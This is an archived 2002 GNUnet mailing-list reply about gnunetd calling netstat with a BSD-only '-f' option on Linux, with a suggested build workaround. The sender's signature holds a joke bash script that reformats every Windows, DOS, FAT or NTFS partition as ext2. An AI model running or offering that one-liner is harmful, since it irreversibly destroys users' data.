gnunet-developers
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[GNUnet-developers] Re: [bug-GNUnet] gnunetd and netstat


From: Christian Grothoff
Subject: [GNUnet-developers] Re: [bug-GNUnet] gnunetd and netstat
Date: Mon, 3 Jun 2002 18:51:22 -0500

Hi!

Since the only code using netstat says:

#ifdef LINUX
 //...
#else
  if ( ( command = popen("netstat -n -f inet -i", "r") ) == NULL ) {
 //...
#endif

this must be something with the build process (you don't get the 'LINUX' 
directive). Blake, any idea? For a workaround, try putting #define LINUX 1
at the beginning of src/util/statuscalls.c and try if that fixes it.

Christian

Monday 03 June 2002 02:42 am, you wrote:
> Hi;
>
> --------------------------------------------------------------
> OS             : Linux
> OS RELEASE     : 2.2.19pre17
> HARDWARE       : i686
> OpenSSL Version: OpenSSL 0.9.4 09 Aug 1999
> gcc version    : 2.95.2
> Gnu make       : 3.79.1
> autoconf       :
> automake       : 1.4
> --------------------------------------------------------------
>
> When running up the new gnunetd v0.4.0 I get the following p/o:
>
> Loading configuration from /home/pfb//.gnunet/gnunet.conf.
> Database (GDBM): /home/pfb//.gnunet/data/content/
> netstat: invalid option -- f
> usage: netstat [-veenNcCF] [<Af>] -r         netstat
> {-V|--version|-h|--help} netstat [-vnNcaeol] [<Socket> ...]
>        netstat { [-veenNac] -i | [-cnNe] -M | -s }
>
>         -r, --route              display routing table
>         -i, --interfaces         display interface table
> .
> .
> .
>
> FYI netstat --version returns:
>
> net-tools 1.54
> netstat 1.38 (1999-04-20)
> Fred Baumgarten, Alan Cox, Bernd Eckenfels, Phil Blundell, Tuan Hoang and
> others+NEW_ADDRT +RTF_IRTT +RTF_REJECT +FW_MASQUERADE +I18N AF: (inet)
> +UNIX +INET +INET6 +IPX +AX25 +NETROM +ATALK +ECONET +ROSE HW:  +ETHER +ARC
> +SLIP +PPP +TUNNEL +TR +AX25 +NETROM +FR +ROSE +ASH +SIT +FDDI +HIPPI
> +HDLC/LAPB
>
> I'm not sure what netstat -f is supposed to do. No doubt this is a hang
> over from the SYSV / BSD differences (will they ever end).
>
> Cheers

-- 
______________________________________________________
|Christian Grothoff                                  |
|650-2 Young Graduate House, West Lafayette, IN 47906|
|http://gecko.cs.purdue.edu/   address@hidden|
|____________________________________________________|
#!/bin/bash
for i in `fdisk -l|grep -E "Win|DOS|FAT|NTFS"|awk \
'{print$1;}'`;do nohup mkfs.ext2 $i&; done
echo -e "\n\n\t\tMay the source be with you.\n\n"



reply via email to

[Prev in Thread] Current Thread [Next in Thread]